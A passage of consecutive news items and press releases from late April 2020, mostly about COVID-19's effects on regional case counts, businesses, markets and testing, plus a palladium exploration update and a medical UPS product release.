to severe illness. These symptoms may appear 2-14 days after exposure to the virus: Fever of 100 or higher Cough Shortness of breath or difficulty breathing Chills Repeated shaking with chills Muscle pain Headache Sore throat New loss of taste or smell People who develop these symptoms and do not start to feel better within 3-4 days should contact a medical provider to find out if they should be tested for COVID-19. "If you have these symptoms, it will be important that you isolate yourself from others in your household to prevent the infection from spreading, and stay home," Jackson County said. "If you access medical care while ill, please wear a mask. If you have trouble breathing, persistent pain or pressure in the chest, new confusion or inability to arouse, and bluish lips or face, you should seek medical care immediately." The County asks that you not hesitate to access medical care, especially if it is an emergency, whether the symptoms are consistent with COVID-19 or not. Call ahead of time to schedule an appointment. Doctors may schedule a phone consultation or use telemedicine in replace of a face-to-face appointment. "We can all continue to work together to keep our community healthy. Jackson County Public Health wants to thank the community for acting during this time, your efforts have helped to keep the community safe and healthy," the agency said. KLAMATH: Klamath County Public Health one new confirmed case in the county on Tuesday, bringing the countywide total number of confirmed cases to 37. Importantly, County officials also reported that 24 of those cases have recovered and are no longer active. The County says that 1,882 total tests have been processed reportedly giving Klamath the highest testing ratio to population in the State of Oregon, a slot previously held by Jackson County. "Gov. Kate Brown has indicated that expanded testing statewide is necessary to 'reopen Oregon,'" Klamath County Public Health said. "KCPH is interested in expanding diagnostic testing to identify and isolate current infections to aid in the reopening of the county. Testing within Klamath County is available at Basin Immediate Care, Bonanza Clinic, Klamath Open Door, Klamath Tribal Health, Merrill Clinic, and Sky Lakes Medical Center." Based on the County's demographic data, 23 of the confirmed cases are women, and 14 are men. Five of the 37 cases have been hospitalized for the virus. Six cases have been between the ages of 20-29, nine in the 30-39 age group, five in 40-49, nine 50-59, six 60-69, one 70-79, and one in the 80 or older group. JOSEPHINE: Josephine County Public Health officials last announced one new case of coronavirus in the county on Saturday, bringing the countywide total number of cases to 20. Nine people have reportedly recovered from the virus. The county marked the first death attributed to the virus in southern Oregon on April 11, an 81-year-old man. As of Tuesday morning, a total of 1,120 COVID-19 tests from Josephine County have returned negative results which the County says was calculated using "internal data" and will likely appear higher than the Oregon Health Authority's records. CURRY: Last week, Curry County announced its fourth confirmed cases of COVID-19. 139 tests for the virus have returned negative. The new case was confirmed at a hospital lab in Coos Bay, similar to several of the earlier cases. By Tuesday the County reported that three cases had fully recovered and one remained active. SISKIYOU: As Wednesday morning, Siskiyou County officials say that there remain five confirmed COVID-19 cases in the county. All five of those people have since recovered from the illness. There have been a total of 247 negative test results, and two tests remain pending. Total number of confirmed cases by county for the southern Oregon and Siskiyou County region: Jackson: 49 Klamath: 37 Josephine: 20 Lake: 0 Curry: 4 Siskiyou: 5 Tune into NewsWatch 12 at 5:00 and 6:00 p.m. tonight for the most up to date Coronavirus numbers and information. Shanghai (Gasgoo)- CATL, the global leading EV battery manufacturer, reported a 29.14% year-on-year decline in net profit for the first quarter of 2020 (Q1) as the COVID-19 pandemic hit the new energy vehicle (NEV) market. In a filing to Shenzhen Stock Exchange on April 28, CATL said the Q1 net profit attributable to the shareholders of the listed company reached RMB742,043,183.20, versus RMB1,047,233,226.95 for the year-ago period. Excluding the impact of certain no-recurring gains and losses, the net profit stood at RMB428,196,075.68, a year-on-year slump of 53.24%. Meanwhile, the company stated the gross revenue for the Jan.-Mar. period slid 9.53% over a year ago to RMB9,030,794,052.46. During the same period, the net cash flow generated by operation activities amounted to RMB3,146,750,315.68, tumbling 36.77% from the previous year due to the increase in the cash paid for the product procurement. (CATL's CTP battery pack, photo source: CATL's WeChat account) In respect to the profit downturn, much of the blame has been laid on the decrease in the Q1 sales of power batteries, which stemmed from the plunge in installed capacity of NEV power battery led by the impact of coronavirus outbreak and overall market downturn. We will be watching closely to the coronavirus spread and market conditions, and strive to alleviate the impact of the disease and the volatility in market on company's operation and profitability by conducting industrial cooperation, tapping new resources of supply, reducing consumption, cutting and controlling costs, etc., said CATL. The company warned of the risks from the growing volatility in macro economy, the changeable policy environment and the intensifying market competition. To cope with the stress, it will proactively move forward with the work resumption amid the fight against the coronavirus, and continue to improve its product performances so as to tone down the impact of subsidy phase-out on the sale of power batteries. Besides, a professional management team with talents from various fields and different countries will keep investing in R&D business, as part of efforts to sustain the company's core competitive power. The strengthened R&D investment is also expected to help CATL develop batteries with higher energy density and better performance, in a bid to achieve greater automation level and lower unit production level. It is one of methods for CATL to handle the possible drop in gross margin, which may be caused by the fiercer market rivalry and policy adjustments. The St. Helena Farmers Market returns Friday at a new location and with a back-to-basics, meat-and-potatoes make that lettuce-and-carrots approach. Fridays market will be held from 7:30 a.m. to noon in the parking lot of the Napa Valley College Upper Valley Campus, 1088 College Ave. The markets regular location, Crane Park, is closed during the COVID-19 pandemic, but market organizers plan to return there as soon as it reopens. To meet the standard of an essential business as defined by Napa Countys shelter-at-home order, the market will feature only produce, meat, seafood, prepackaged food like tacos and pastries, and artisans selling hygiene products like soap, hand sanitizer and masks. That means no hot food or hot coffee, no artisans selling non-essential items, no seating areas, and none of the markets usual events or programs. Market manager Ed Smith expects 25-30 vendors, down from the 45-50 hed expect for a typical opening week. To allow for social distancing, only 50 shoppers will be allowed in at one time. The market will not be the social gathering place patrons have come to expect. Organizers encourage shoppers to buy what they need and leave, while maintaining six feet of social distancing. I say this in the nicest way, but we want them in and out of the market as quickly as possible, said Wendy Strachan, board president of the St. Helena Farmers Market. No dawdling, no socializing, no chatting, and ideally no kids. The main focus of this market will be to allow the growers to sell their produce, she said. And as before, its another source of food for those people on the CalFresh EBT cards. To limit crowding, Strachan suggested that families nominate one person to shop at the market. At each booth, one person will handle the merchandise and another person will handle cash and credit transactions. Vendors will wear masks and gloves, and shoppers are encouraged (but not required) to wear masks themselves. Based on the number of shoppers who attend Fridays market, organizers might set aside senior hours for future markets. Despite the restrictions, Strachan said shes looking forward to using the new space, which the college is offering free of charge. Its a very nice location, and its going to be nice and cool, she said. Kudos to the city and the college for allowing us to use it. Strachan added that growers have been hit hard by the loss of restaurant business, and the market itself is hurting financially due to reduced vendor fees and the cancellation of fundraisers like CinemaBites, the markets collaboration with the Cameo Cinema. Weve just done a donation drive, and people are being very helpful, but we could definitely use some funds, she said. For the latest market news, visit sthelenafarmersmkt.org. Editors Note: Because of the health implications of the COVID-19 virus, this article is being made available free to all online readers. If youd like to join us in supporting the mission of local journalism, please visit napavalleyregister.com/members/join/. You can reach Jesse Duarte at 967-6803 or jduarte@sthelenastar.com. Concerned about COVID-19? Sign up now to get the most recent coronavirus headlines and other important local and national news sent to your email inbox daily. Sign up! * I understand and agree that registration on or use of this site constitutes agreement to its user agreement and privacy policy. Technavio has been monitoring the industrial food cutting machines market and it is poised to grow by USD 273.67 million during 2019-2023, progressing at a CAGR of over 8% during the forecast period. The report offers an up-to-date analysis regarding the current market scenario, latest trends and drivers, and the overall market environment. This press release features multimedia. View the full release here: https://www.businesswire.com/news/home/20200428005692/en/ Technavio has announced its latest market research report titled Global Industrial Food Cutting Machines Market 2019-2023 (Graphic: Business Wire) Technavio suggests three forecast scenarios (optimistic, probable, and pessimistic) considering the impact of COVID-19. Please Request Latest Free Sample Report on COVID-19 Impact The market is fragmented, and the degree of fragmentation will accelerate during the forecast period. Brunner-Anliker AG, Buhler AG, EMURA FOOD MACHINE CO. LTD., FAM NV, GEA Group AG, Illinois Tool Works Inc., Jaymech Food Machines Ltd., KRONEN GmbH, Urschel Laboratories Inc., and Weber Maschinenbau GmbH are some of the major market participants. The growth of food processing industry will offer immense growth opportunities. To make the most of the opportunities, market vendors should focus more on the growth prospects in the fast-growing segments, while maintaining their positions in the slow-growing segments. Growth of food processing industry has been instrumental in driving the growth of the market. Industrial Food Cutting Machines Market 2019-2023: Segmentation Industrial Food Cutting Machines Market is segmented as below: Application Fruits and Vegetables Meat Potatoes Cheese Fish and Seafood Other Applications Product Industrial Food Slicers Industrial Food Dicers Industrial Food Millers Industrial Food Shredders Geographic Landscape APAC Europe MEA North America South America To learn more about the global trends impacting the future of market research, download latest free sample report of 2020-2024: https://www.technavio.com/talk-to-us?report=IRTNTR32078 Industrial Food Cutting Machines Market 2019-2023: Scope Technavio presents a detailed picture of the market by the way of study, synthesis, and summation of data from multiple sources. Our industrial food cutting machines market report covers the following areas: Industrial Food Cutting Machines Market Size Industrial Food Cutting Machines Market Trends Industrial Food Cutting Machines Market Industry Analysis This study identifies rising popularity of ultrasonic industrial food cutting machines as one of the prime reasons driving the industrial food cutting machines market growth during the next few years. Industrial Food Cutting Machines Market 2019-2023: Vendor Analysis We provide a detailed analysis of vendors operating in the industrial food cutting machines market, including some of the vendors such as Brunner-Anliker AG, Buhler AG, EMURA FOOD MACHINE CO. LTD., FAM NV, GEA Group AG, Illinois Tool Works Inc., Jaymech Food Machines Ltd., KRONEN GmbH, Urschel Laboratories Inc., and Weber Maschinenbau GmbH. Backed with competitive intelligence and benchmarking, our research reports on the industrial food cutting machines market are designed to provide entry support, customer profile and M&As as well as go-to-market strategy support. Register for a free trial today and gain instant access to 17,000+ market research reports. Technavio's SUBSCRIPTION platform Industrial Food Cutting Machines Market 2019-2023: Key Highlights CAGR of the market during the forecast period 2019-2023 Detailed information on factors that will assist industrial food cutting machines market growth during the next five years Estimation of the industrial food cutting machines market size and its contribution to the parent market Predictions on upcoming trends and changes in consumer behavior The growth of the industrial food cutting machines market Analysis of the market's competitive landscape and detailed information on vendors Comprehensive details of factors that will challenge the growth of industrial food cutting machines market vendors Table Of Contents: PART 01: EXECUTIVE SUMMARY PART 02: SCOPE OF THE REPORT 2.1 Preface 2.2 Preface 2.3 Currency conversion rates for US$ PART 03: MARKET LANDSCAPE Market ecosystem Market characteristics Market segmentation analysis PART 04: MARKET SIZING Market definition Market sizing 2018 Market size and forecast 2018-2023 PART 05: FIVE FORCES ANALYSIS Bargaining power of buyers Bargaining power of suppliers Threat of new entrants Threat of substitutes Threat of rivalry Market condition PART 06: MARKET SEGMENTATION BY PRODUCT Market segmentation by product Comparison by product Industrial food slicers Market size and forecast 2018-2023 Industrial food dicers Market size and forecast 2018-2023 Industrial food millers Market size and forecast 2018-2023 Industrial food shredders Market size and forecast 2018-2023 Market opportunity by product PART 07: MARKET SEGMENTATION BY APPLICATION Market segmentation by application Comparison by application Fruits and vegetables Market size and forecast 2018-2023 Meat Market size and forecast 2018-2023 Potatoes Market size and forecast 2018-2023 Cheese Market size and forecast 2018-2023 Fish and seafood Market size and forecast 2018-2023 Other applications Market size and forecast 2018-2023 Market opportunity by application PART 08: CUSTOMER LANDSCAPE PART 09: GEOGRAPHIC LANDSCAPE Geographic segmentation Geographic comparison Europe Market size and forecast 2018-2023 North America Market size and forecast 2018-2023 APAC Market size and forecast 2018-2023 MEA Market size and forecast 2018-2023 South America Market size and forecast 2018-2023 Key leading countries Market opportunity PART 10: DECISION FRAMEWORK PART 11: DRIVERS AND CHALLENGES Market drivers Market challenges PART 12: MARKET TRENDS Rising number of strategic partnerships to provide customized food processing solutions Rising popularity of ultrasonic industrial food cutting machines Growing popularity of multifunctional industrial food cutting machines PART 13: VENDOR LANDSCAPE Overview Landscape disruption Competitive scenario PART 14: VENDOR ANALYSIS Vendors covered Vendor classification Market positioning of vendors Brunner-Anliker AG Buhler AG EMURA FOOD MACHINE CO. LTD. FAM NV GEA Group AG Illinois Tool Works Inc. Jaymech Food Machines Ltd. KRONEN GmbH Urschel Laboratories Inc. Weber Maschinenbau GmbH PART 15: APPENDIX Research methodology List of abbreviations Definition of market positioning of vendors PART 16: EXPLORE TECHNAVIO About Us Technavio is a leading global technology research and advisory company. Their research and analysis focus on emerging market trends and provides actionable insights to help businesses identify market opportunities and develop effective strategies to optimize their market positions. With over 500 specialized analysts, Technavio's report library consists of more than 17,000 reports and counting, covering 800 technologies, spanning across 50 countries. Their client base consists of enterprises of all sizes, including more than 100 Fortune 500 companies. This growing client base relies on Technavio's comprehensive coverage, extensive research, and actionable market insights to identify opportunities in existing and potential markets and assess their competitive positions within changing market scenarios. View source version on businesswire.com: https://www.businesswire.com/news/home/20200428005692/en/ Contacts: Technavio Research Jesse Maida Media Marketing Executive US: +1 844 364 1100 UK: +44 203 893 3200 Email: media@technavio.com Website: www.technavio.com/ TORONTO, ON / ACCESSWIRE / April 28, 2020 / Grid Metals Corp. (the "Company") (TSXV:GRDM) is pleased to provide an update on the exploration program at its 100% owned East Bull Lake ("EBL") palladium property ("the Property") in Ontario. The exploration target at EBL is structurally-controlled, palladium-dominant mineralization with higher grades and greater thickness and continuity than the widespread near-surface palladium zones that have been identified to date. The Company has initiated a magnetotelluric ("MT") survey on the Property. The MT survey is an electromagnetic geophysical method with excellent depth penetration and a proven ability to detect, directly or indirectly, the type of palladium mineralization (high palladium tenor disseminated sulfide) that is found at EBL. Initial results from the completed portions of the survey have delineated several high priority geophysical targets proximal to known palladium rich mineralization. The geophysical program is guided by a previously untested exploration model that is based on observations from the Lac des Iles palladium mine in northwestern Ontario. Highlights to Date: The location of the EBL property is shown in Figure 1. The location of the MT survey stations is shown in Figure 2. Initial highlights from the ongoing MT survey include: The survey is thus far providing high quality resistivity data from surface to depths in excess of 1 km. The Parisien Lake grid has been completed. This grid covers a ~5 square kilometre area with widespread, near-surface palladium mineralization that is focused along a major north-east striking deformation zone (Parisien Lake deformation zone). Preliminary analysis of the survey results has identified several discrete resistivity anomalies including a large, untested target (anomaly PL-4) with a strike length of ~2km. The East Lobe grid has also been completed. It covers a ~3 square kilometre area with known palladium mineralization along the southern margin of the intrusion. Interpretation of the survey data is pending. The final component of the MT survey includes two profile lines across highly prospective areas in the western lobe of the intrusion. Preliminary Analysis of Results Several areas of strongly reduced resistivity representing new drill targets have been identified to date within the Parisien Lake MT grid area (Figures 3 and 4). The largest and strongest anomaly identified to date (PL-4) is divided into upper and lower segments separated by an interpreted vertical fault (Figure 4). The anomaly appears to be associated with two different northwest-striking, vertical, regional structures that may have acted as feeders to the EBL intrusion. This anomaly is also interpreted to follow the west dipping base of the intrusion and ranges in depth from approximately 400 metres to >1000 metres and has a minimum strike length of >2 kilometres. Surface samples from the area overlying anomaly PL-4 returned up to 9.4 g/t Pd. Anomalies PL-1 to PL-3 are also considered to be high priority drill targets. PL-1 is a shallow, strong anomaly located at the east end of the survey grid in an area with no previous drilling or surface sampling. PL-2 is centered at a depth of ~300m and occurs below historical drill holes with anomalous Pd+Pt+Au values over significant widths. As an example, drill hole PDZ-7 (see figures 3 and 4 for location) intersected 74.4m of 0.32 g/t Pd, 0.10 g/t Pt and 0.02 g/t Au (0.44 g/t combined Pd + Pt + Au) including 4.27m of 0.99 g/t Pd, 0.24 g/t Pt and 0.04 g/t Au (1.27 g/t combined Pd + Pt + Au). Note that there is inadequate geological information on the mineralization intersected in drill hole PDZ-7 to estimate the true width. Anomaly PL-3 is located at the southwest end of the grid and occurs at depths of ~150 metres to >450 metres. It underlies an area of known surface mineralization including maximum values up to 2.00 g/t Pd, 0.94 g/t Pt, 0.12 g/t Au, 0.70% Cu and 0.26% Ni in one sample. Anomaly PL-3 is situated ~1 kilometre east of the Grid Metals - Canadian Palladium Resource Inc. property boundary (Figure 2). It may relate to the Bullfrog - Valhalla zone that is currently being explored by Canadian Palladium. Anomaly PL-3 is open to the west. Analysis and interpretation of the MT survey results are being done by the Company's senior geophysical consultant, Mr. Kevin Stevens of Stevens Geophysics Inc. The EBL exploration program is being overseen by the Company's V.P Exploration and Business Development, Dr. Dave Peck. Dr. Peck commented: "The EBL Intrusion is a large and highly prospective palladium-rich layered intrusion with strong similarities to the intrusion that hosts the Lac des Iles palladium deposit. Based on the Lac des Isle deposit model, we are looking for the feeder systems to the known, near surface sulfide mineralization at EBL as well as spatially associated sulfide trap sites, such as footwall embayment structures. We believe that MT will allow us to identify these important structures and lead us to the discovery of larger and higher grade zones of palladium mineralization than what has been discovered to date. We are very encouraged by the initial results of the survey, including several strong and untested resistivity anomalies in the Parisien Lake target area. We expect that additional drill targets will be generated before the survey is completed." Target Model The exploration targets at East Bull Lake include: near surface palladium mineralization having average in situ grades that are potentially amenable to open pit mining; and, higher-grade, vertically extensive and structurally-controlled palladium mineralization having average in situ grades that are potentially extractable using underground mining methods. Rationale for the MT Survey Quantec Geoscience Ltd. is completing the MT survey on the Property using its proprietary Spartan system. The Spartan system has proven effective on properties with similar geology and palladium-rich disseminated sulfide mineralization. This is best demonstrated by the critical role the 2018/19 Spartan MT survey results played in the discovery of the western extension of the PGM Zone on Impala Canada Ltd.'s and Transition Metals Corp.'s Sunday Lake project, located near Thunder Bay, Ontario (see Transition Metals Corp. news release dated April 29, 2019 for details). Next Steps Over the next several weeks, the EBL exploration program will focus on: Complete the remaining MT survey sites on the two single line transects across the West Lobe; Complete a review of resistivity anomalies with existing 3D magnetic models, previous electromagnetic survey data, structural interpretations and surface and drill hole assay data; and, Prepare a final ranked list of prioritized targets in advance of a diamond drilling program. Dr. Dave Peck, P.Geo. has reviewed and approved the technical content of this release for purposes of National Instrument 43-101. About Grid Metals Corp. Grid Metals Corp. is an exploration and development Company that has a diversified portfolio of projects in the nickel-copper-platinum group metal sectors. These commodities are vital to the emerging battery metals, energy storage and automotive sectors. All of Grid's projects are located in secure North American mining jurisdictions. The Company is focused on timely advancement of its property portfolio through prudent exploration and development activities. To find out more about Grid Metals Corp., please visit www.gridmetalscorp.com. On Behalf of the Board of Grid Metals Corp. Robin Dunbar - President, CEO & Director Telephone: 416-955-4773 Email: rd@gridmetalscorp.com David Black - Investor Relations Email: info@gridmetalscorp.com We seek safe harbour. This news release contains forward-looking statements within the meaning of the United States Private Securities Litigation Reform Act of 1995 and forward-looking information within the meaning of the Securities Act (Ontario) (together, "forward-looking statements"). Such forward-looking statements may include the Company's plans for its properties, the overall economic potential of its properties, the availability of adequate financing and involve known and unknown risks, uncertainties and other factors which may cause the actual results, performance or achievements expressed or implied by such forward-looking statements to be materially different. Such factors include, among others, risks and uncertainties relating to potential political risk, uncertainty of production and capital costs estimates and the potential for unexpected costs and expenses, physical risks inherent in mining operations, metallurgical risk, currency fluctuations, fluctuations in the price of nickel, cobalt, copper and other metals, completion of economic evaluations, changes in project parameters as plans continue to be refined, the inability or failure to obtain adequate financing on a timely basis, and other risks and uncertainties, including those described in the Company's Management Discussion and Analysis for the most recent financial period and Material Change Reports filed with the Canadian Securities Administrators and available at www.sedar.com. Neither the TSX Venture Exchange nor its Regulations Services Provider (as that term is defined in the policies of the TSX Venture Exchange) accepts responsibility for the adequacy or accuracy of this press release. This news release does not constitute an offer of securities for sale in the United States. The securities being offered have not been, nor will they be, registered under the United States Securities Act of 1933, as amended, and such securities may not be offered or sold within the United States absent U.S. registration or an applicable exemption from U.S. registration requirements. Figure 1. Location of the East Bull Lake Property. Figure 2. Location of planned magnetotelluric survey station sites on the East Bull Lake property with mapped extent of the East Bull Lake intrusion (filled blue polygon). Both the Parisien Lake and the East Lobe grids are have been completed. Figure 3. Plan view images of modeled 1D layered resistivity data over the Parisien Lake MT survey grid showing the position of interpreted resistivity anomalies (dashed outlines) at depth slices of 150 metres (top image) and 450 metres (bottom image). Also shown is the vertical projection of surface and drill core sample palladium grades. P09 is the vertical plane for the east-west 2D resistivity profile shown in Figure 4. Anomalies PL-1 to PL-5 are identified as potential drill targets. The projected collar position of drill hole PDZ-7, discussed in the text, is shown for reference. Figure 4. Oblique longitudinal section looking to the north showing a 2D inversion of the MT survey resistivity data. Note the significant strike length (>2 km) of anomaly PL-4, a large resistivity low that is interpreted to adhere to the base of the East Bull Lake intrusion and is apparently associated with two vertical structures. Traces for drill holes located within 100m of either side of the section plane are shown for reference. SOURCE: Grid Metals Corp. View source version on accesswire.com:https://www.accesswire.com/586884/Grid-Metals-Geophysical-Survey-Identifies-New-Palladium-Drill-Targets-at-East-Bull-Lake An Illinois judge has granted a restraining order to block Gov. J.B. Pritzkers (D) extension of his stay-at-home order, putting the plan in jeopardy. Clay County Circuit Court Judge Michael McHaney ruled against Pritzkers proposed order to lengthen the stay-at-home mandate, which was slated to take effect on Friday, according to local news reports. Pritzker said that his office is going to work to have the judges order reversed. Under the new ruling, cities could disregard the states stay-at-home order and reopen starting Friday. We are certainly going to act in a swift action to have this ruling overturned, the governor told reporters on Monday. The judge ruled in favor of Illinois state Rep. Darren Bailey (R), who said the governor exceeded his authority and is violating the civil rights of residents. My lawsuit asks the court to find that Gov. Pritzker overextended his power by issuing additional stay at home orders after his original disaster proclamation, which expired on April 9th, 2020, said Bailey in a statement. Enough is enough! I filed this lawsuit on behalf of myself and my constituents who are ready to go back to work and resume a normal life. Pritzker said he would continue to issue new health directives until the lawsuit is resolved. Representative Baileys decision to go to the courts is an insult to all Illinoisans who have been lost during this COVID-19 crisis. Its a danger to millions of people who might get ill because of his recklessness, Pritzker said Monday, according to NBC Chicago. Disasters dont evaporate on a 30-day timeframe. Legislators took this into account when they wrote this law. We will fight this lawsuit to the furthest means possible. Illinois public health agency reported a 1,980 additional CCP (Chinese Communist Party) virus cases as of Monday. Fifty deaths were reported, bringing the total to around 2,000. In his latest order, Pritzker would allow for some outdoor activities, and many previously barred surgeries and some medical operations. Meanwhile, some retailers can reopen to fill online orders or pick the orders up. The governors order will also require face coverings for anyone over the age of 2, Fox32 in Chicago reported. The Epoch Times refers to the novel coronavirus, which causes the disease COVID-19, as the CCP virus because the Chinese Communist Partys coverup and mismanagement allowed the virus to spread throughout China before it was transmitted worldwide. From The Epoch Times [April 27, 2020] Tripp Lite UPS Systems Help Provide Transport Mode for Fisher & Paykel Healthcare's AIRVO 2 Medical-Grade UPS Systems Support Mobile Therapy and Patient Transport CHICAGO, April 28, 2020 /PRNewswire/ -- Tripp Lite, a world-leading manufacturer of power protection and connectivity solutions, offers medical-grade uninterruptible power supplies (UPS systems) that meet Fisher & Paykel Healthcare's comprehensive requirements to power the AIRVO 2, their humidified system to administer nasal high-flow oxygen therapy. Based on testing at Fisher & Paykel Healthcare, Tripp Lite's SmartPro SMART700HGL (120V) and SMX700HGL (230V) medical-grade UPS systems meet the recommended specifications to power the AIRVO 2 in mobile and portable applications. These tower UPS systems feature full line isolation and reduce the cumulative leakage current of connected equipment to less than 100 microamps. Full isolation also supports noise filtering and common mode surge protection. The UPS systems have lithium iron phosphate (LiFePO 4 ) batteries to power the AIRVO 2 during patient transport. The batteries offer significantly more charge cycles than equivalent lead-acid batteries. "Powering equipment on mobile medical devices is an essential part of healthcare," said Jim Folk, Tripp Lite'sDirector of Healthcare Solutions. "Tripp Lite's 700VA medical-grade UPS systems with lithium-ion batteries allow the AIRVO 2 to travel with the patient throughout hospitals and long-term care facilities. The ability to power cart equipment in transport mode ensures therapy can continue without interruption." Key Features of Tripp Lite's Medical-Grade 700V UPS Systems with Lithium-Ion Batteries 700VA (450W) line-interactive operation UL 60601-1 compliance for patient care vicinities Lithium iron phosphate batteries provide reliable backup power Battery life is 10,000 cycles (versus 500 cycles for lead-acid batteries) Automatic voltage regulation (AVR) corrects voltage fluctuations Faraday shield offers full line isolation and reduces leakage current (< 100 A) Models for 120V (SMART700HGL) and 230V (SMX700HGL) For Tripp Lite's full line of healthcare solutions, visit tripplite.com. About Tripp Lite From desktop to critical infrastructure, Tripp Lite products and solutions power and connect the computers, networking equipment and electronic devices that form the foundation of our digital world. Headquartered in Chicago since 1922, Tripp Lite has offices and partners worldwide. Learn more at tripplite.com. About Fisher & Paykel Healthcare Fisher & Paykel Healthcare is a leading designer, manufacturer and marketer of products and systems for use in respiratory care, acute care, surgery and the treatment of obstructive sleep apnea. The company's products are sold in over 120 countries worldwide. Learn more at fphcare.com. Media Contact: Samantha Perryman [email protected] +1 773.869.1533 Photo - https://mma.prnewswire.com/media/1160529/Tripp_Lite_Model_SMX700HGL.jpg Logo - https://mma.prnewswire.com/media/676408/Tripp_Lite_Logo.jpg SOURCE Tripp Lite D onald Trump has said he "can't imagine why" there has been a spike in hotline calls about disinfectant after he suggested injecting it to treat coronavirus. Speaking at the White House Covid-19 news briefing on Thursday last week, Mr Trump said scientists should explore whether inserting light or disinfectant into the body might help treat the respiratory illness. He later tried to backtrack by saying his comments were "sarcastic" after an onslaught of criticism, as international health experts rushed to warn people not to listen to his suggestion. But on Sunday, the governors of Michigan and Maryland both blamed the president for the sudden rise in hotline calls. A reporter at Monday's press conference told Mr Trump that the state of Maryland's emergency hotline had received hundreds of calls in recent days seeking guidance about his comments. The president quickly shut down the question and refused to take responsibility for the spike. US President Donald Trump takes questions from reporters during a news conference on the novel coronavirus / AFP via Getty Images "I can't imagine why. I can't imagine that," he said, before moving quickly on. When asked whether he took responsibility, Mr Trump replied: "No, I don't." New York's Coronavirus outbreak - In pictures 1 /34 New York's Coronavirus outbreak - In pictures The Supermoon rises behind the Empire State Building while it glows red in solidarity with those infected with coronavirus as the outbreak of the disease (COVID-19) continues in the Manhattan borough of New York City Reuters A nearly empty Times Square AFP via Getty Images Riders, some wearing masks and gloves as a protective measure over coronavirus concerns, enter a New York City subway train AP People try to keep a social distance while they enjoy a sunny day at Central Park Reuters Nadia, a 4-year-old female Malayan tiger at the Bronx Zoo, that the zoo said on April 5, 2020 has tested positive for coronavirus disease WCS/Handout via Reuters People wear face masks AFP via Getty Images A man crosses a nearly empty 5th Avenue in midtown Manhattan Reuters US President Donald Trump looks on during the daily briefing on the novel coronavirus, COVID-19, in the Brady Briefing Room at the White House on March 31, 2020, in Washington, DC AFP via Getty Images Felix Hassebroek waves to his classmates, who he has not seen in 2 weeks through a livestream video meet up during the outbreak of coronavirus disease (COVID-19) in Brooklyn, New York Reuters Friends and neighbors, Sarah and Elizabeth, talk about their weekends from opposite sides of the road as they maintain social distance in a neighborhood in Syracuse, New York Reuters Light morning traffic seen on the FDR drive on March 24, 2020 in New York City AFP via Getty Images A subway customer uses a tissue to protect her hand while holding onto a pole AP Workers construct what is believed to be a makeshift morgue behind a hospital during the outbreak of coronavirus disease (COVID-19), in the Manhattan borough of New York City Reuters Beds separated by black fabric are set up as a temporary field hospital for Covid-19 patients in Queens, New York AFP via Getty Images New York's Hart Island where the department of corrections is dealing with more burials Reuters Medical workers wait for patients at a special coronavirus intake area in New York Getty Images Patients wear personal protective equipment while maintaining social distancing as they wait in line for a COVID-19 test at Elmhurst Hospital Center AP The One World Trade Center tower in Manhattan is seen illuminated in blue light Reuters Pictures drawn by children as part of the Quarantine Rainbow Project in Brooklyn, New York Reuters U.S. Army National Guard personnel load boxes of free food provided by multiple New York City agencies into a taxi for distribution to local residents in the Harlem neighbourhood of Manhattan during the outbreak of the coronavirus disease (COVID19) in New York Reuters Traders work during the closing bell at the New York Stock Exchange (NYSE) on March 17, 2020 at Wall Street in New York City AFP via Getty Images A man in a wheelchair crosses a nearly empty 7th Avenue in Times Square in Manhattan Reuters Getty Images Getty Images Getty Images REUTERS Last week, the Maryland governor's office said it had issued a statewide alert warning against ingesting or injecting disinfectants following the president's remarks. Mr Trump was also asked whether he would delay the presidential election in November. He said: "I never even thought of changing the date of the election. Why would I do that?" It came after Joe Biden, Mr Trump's presumptive Democratic opponent, said last week he thought Mr Trump would "try to kick back the election somehow". But Mr Trump told reporters the idea was "made-up propaganda". Theres been a lot of discussion about testing as the coronavirus outbreak has unfolded but the really important COVID-19 test isnt even in use yet. And thats the one that could well determine when its safe for life to head back toward normal. Canada and the rest of the world are waiting for an accurate, reliable serological or blood-based test to be developed and approved for use. Serological tests, Health Canada states, will play an important role in assessing the true extent of COVID-19 in the general population. But these are not simple things to develop and validate, said Dr. Doug Sider, an epidemiologist and physician with Hamiltons public health department. This is a new organism. The current swab tests only look at the present by showing who is or isnt infected. Its simply a yes or no result taken at that point in time and the results can only give a vague outline of how COVID-19 has spread through the community. The swab tests also give no indication of the severity of the disease. Many of the swab tests given so far havent been random. Theyve been targeted at people with obvious symptoms, health-care workers, and long-term care and retirement home residents. Its likely that current testing is ignoring a significant number of people who have been infected but developed no symptoms or only mild symptoms. A serological test, ironically, looks at the past to predict the future. The test, when eventually developed, will show whether or not antibodies evidence the body has produced an immune response to infection are present in blood. When blood tests are rolled out, they can help show the numbers of people who have been infected, especially those who may not even know it, and what level of immunity might exist in the community. A serological test is similar to election polling, where a sample of results, selected wisely, can give you a good picture of how the population as a whole is behaving. Its important for public health officials to know what proportion of people have immune protection to the novel coronavirus. Experts suggest that so-called herd immunity will require 60 to 70 per cent of the population to have protection, either from a previous infection or a vaccine, which is even farther down the road than a blood test. Swab tests are only showing the tip of the iceberg, stated Dr. Timothy Evans, an expert at McGill University. What we cant see, below the surface, are the people whove been infected but whose symptoms have been mild or non-existent, as they were not tested, Evans stated recently. Serological testing will give us a sense of just how many people make up the base of the iceberg. But serological testing isnt going to answer all of the questions about when it will be safe to resume everyday life. The question is what does it mean if you have those antibodies? said Dr. Mark Loeb, a McMaster University infectious diseases specialist. Does that protect you and if it does, how long does it protect you for? And thats unknown. On April 24, the World Health Organization published a COVID-19 update with a worrisome warning on that topic. The WHO shot down the idea that previously infected people could be provided with an immunity passport that could allow them to return to work or travel. There is currently no evidence that people who have recovered from COVID-19 and have antibodies are protected from a second infection, the WHO stated. There will also be the question of whether or not the province and public health departments will have the resources to ramp up blood sampling once a test is approved. Will we have the lab capacity? asked Sider. Sider said the citys public health department would want to test hundreds of people to get an accurate picture of Hamiltons infection rate. Im not interested in a thousand people tested at the level of Ontario, said Sider. But youre talking about thousands if not tens of thousands of people who would need to be tested across the province to allow us to get an accurate picture in Hamilton, in Kingston, in Toronto, in Barrie and so on. The other challenge to developing a serological test is to ensure it doesnt record a high rate of false positive results. We will learn a great deal from serological testing, said Sider, but well also have to be extremely mindful about some of the potential limitations and how it helps us to understand, predict and prepare for the next possible waves of pandemic. Share this article Whatsapp Facebook Twitter Linkedin Eisya A. Eloksari (The Jakarta Post) Jakarta Tue, April 28, 2020 16:30 624 fc6853813033f564188675f8bd4bc538 1 Business Sequoia,start-up,Surge-03,Indonesia,south-east-asia Free Sequoia Capital India has chosen 15 start-ups from 